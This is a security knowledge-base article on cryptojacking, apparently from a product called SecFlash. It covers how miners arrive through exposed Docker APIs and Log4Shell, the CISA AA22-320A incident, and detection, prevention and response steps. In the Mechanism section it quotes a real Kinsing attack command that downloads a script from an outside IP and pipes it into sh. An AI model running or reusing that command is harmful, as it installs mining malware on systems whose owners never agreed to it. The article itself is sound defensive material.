Cryptojacking
| Class | Availability and abuse |
|---|---|
| Also known as | Compute hijacking, illicit cryptomining |
| MITRE ATT&CK | T1496.001 Resource Hijacking: Compute Hijacking |
| Typical severity | High |
| Affects | Linux and Windows servers, containers, cloud instances, and the browsers of visitors to an infected website |
In cryptojacking, an attacker mines cryptocurrency on a computer someone else pays for. Mining software goes onto a server, a container or a cloud instance without the owner's consent; the attacker earns the currency, and the owner pays for the extra power and the lost performance.1
Description
Mining software earns cryptocurrency by solving the mathematical problems used to validate transactions; each solved problem pays a reward in the currency.1 The work needs a large amount of computing power, which is why attackers take it from machines they do not pay for. Servers and cloud systems are common targets because they have the most capacity to give. Container platforms draw attackers because an exposed API lets them start many mining containers at once.2
Some cryptojacking lasts only as long as a page view: a website carries mining JavaScript and uses each visitor's processor while the page is open. The persistent form installs mining software on the machine, where it keeps running after the attacker has left.1
Mechanism
The miner arrives through any route that gives the attacker a way to run commands: an unpatched vulnerability in public software, a default or guessed password, or a service such as the Docker API left open to the internet.1 A Docker daemon that accepts remote connections without protection gives remote users root access on the host, and its unencrypted API listens on port 2375.3
In a campaign that Aqua Security tracked in 2020, with thousands of attempts on most days, attackers sent requests to open Docker API ports and started an Ubuntu container with this command:4
/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/nullThe downloaded script, over 600 lines long, turned off security settings, cleared logs, stopped rival miners and deleted their container images, and added a cron job job that fetched and ran the script again every minute. It then started a miner named kdevtmpfsi and a second script that tried to spread to other hosts over SSH.4 Other mining malware kills competing processes in the same way, to keep the processor for itself.2
XMRig, an open-source miner for processors and graphics cards, is the miner used by TeamTNT, Blue Mockingbird and Lucifer.2 Its options set the mining server to connect to (--url) and the number of processor threads to use (--threads).5
Impact
A miner holds the processor near full use, so every application on the machine answers more slowly, and the machine can stop responding altogether.2 The owner also pays in power, crashes, hardware damaged by heat, and the downtime and repair that follow.1 A miner is also proof that someone else can run code on the server: the intruders who installed XMRig at a US federal agency in 2022 also stole credentials and kept access through other tools.6
Notable incidents
In advisory AA22-320A, CISA and the FBI described a United States federal civilian agency whose unpatched VMware Horizon server was compromised through Log4Shell (CVE-2021-44228) as early as February 2022. The attackers added a Windows Defender exclusion for the whole C:\ drive, installed XMRig under the name wuacltservice.exe, and created a daily scheduled task named to look like a Windows component. CISA first saw the traffic in April 2022 and responded on site from mid-June to mid-July. By then the attackers had reached the domain controller, stolen credentials and installed Ngrok reverse proxies on several hosts. The two agencies attributed the intrusion to actors sponsored by the Iranian government. VMware had released fixes in December 2021.6
Detection
On Linux, the signs are unusual long-running processes with high processor use, started from cron, a shell script or Docker, and connections to known mining pools. Miners are often renamed to look like system programs.2 This command lists the processes with the highest processor share first:7
ps -eo pid,user,pcpu,args --sort=-pcpu | headThe pcpu value is the processor time a process has used divided by the time it has run. Check crontab -l for each user, and the containers started from images nobody on the team chose. A container from a public image that begins heavy processor use shortly after it starts is a warning sign.2
On AWS, Amazon GuardDuty raises CryptoCurrency:EC2/BitcoinTool.B, with default severity High, when an EC2 instance contacts an IP address linked to cryptocurrency activity, and the !DNS variant for a domain name. If nobody expected that activity, the instance is likely compromised.8 New instances in regions the account does not use are another sign.2
Prevention
Mining uses the machine's ordinary features, so preventive controls do little against the mining itself.2 Prevention works on the ways in: install updates, change default passwords, limit administrator rights, turn off unneeded services, and block unneeded outbound connections at the firewall.1 Patch known exploited vulnerabilities first.6
Keep the Docker API off public addresses. Where it has to listen on TCP, bind it to the local address only, in /etc/docker/daemon.json:3
{
"hosts": ["unix:///var/run/docker.sock", "tcp://127.0.0.1:2375"]
}Access from other machines goes over TLS on port 2376 with client certificates; whoever holds the client keys has root on the host.9
Response
After a confirmed compromise, isolate the affected systems and collect logs, a memory capture and a disk image before you patch. Assume the intruder has moved on to connected systems.6 The Kinsing script fetched and ran itself again from cron every minute, so stopping the miner process alone does not remove it.4 The Responding to an unrecognised server login playbook gives the steps.
In SecFlash
SecFlash reports SF-DET-501 on the Detections page when a process has used a whole processor core for 15 minutes and was not seen doing so before. SF-SRV-604 on the Server page shows that the processor has had more work than it can do for 15 minutes. SF-SRV-101 on the Server page reports a risky service, such as the Docker API, that answers from the internet.
See also
- Docker socket exposure
- SSH brute-force attack
- Denial of wallet
- Vulnerable dependencies
- Responding to an unrecognised server login
- Securing a Docker application on a self-managed server
- Category: Availability and abuse
References
- a b c d e f CISA (1 February 2021). "Defending Against Illicit Cryptocurrency Mining Activity". Cybersecurity and Infrastructure Security Agency.
- a b c d e f g h "Resource Hijacking: Compute Hijacking, T1496.001". MITRE ATT&CK. Version 1.0, last modified 15 April 2025.
- a b Docker (n.d.). "Configure remote access for Docker daemon". Docker Docs.
- a b c Singer, Gal (3 April 2020). "Threat Alert: Kinsing Malware Attacks Targeting Container Environments". Aqua Security.
- back XMRig (n.d.). "Command line options". XMRig documentation.
- a b c d CISA and FBI (16 November 2022, revised 25 November 2022). "Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester". Advisory AA22-320A. Cybersecurity and Infrastructure Security Agency.
- back "ps(1)". Linux manual page.
- back Amazon Web Services (n.d.). "GuardDuty EC2 finding types". Amazon GuardDuty User Guide.
- back Docker (n.d.). "Protect the Docker daemon socket". Docker Docs.
External links
- Resource Hijacking, T1496, MITRE ATT&CK
- Protect the Docker daemon socket, Docker Docs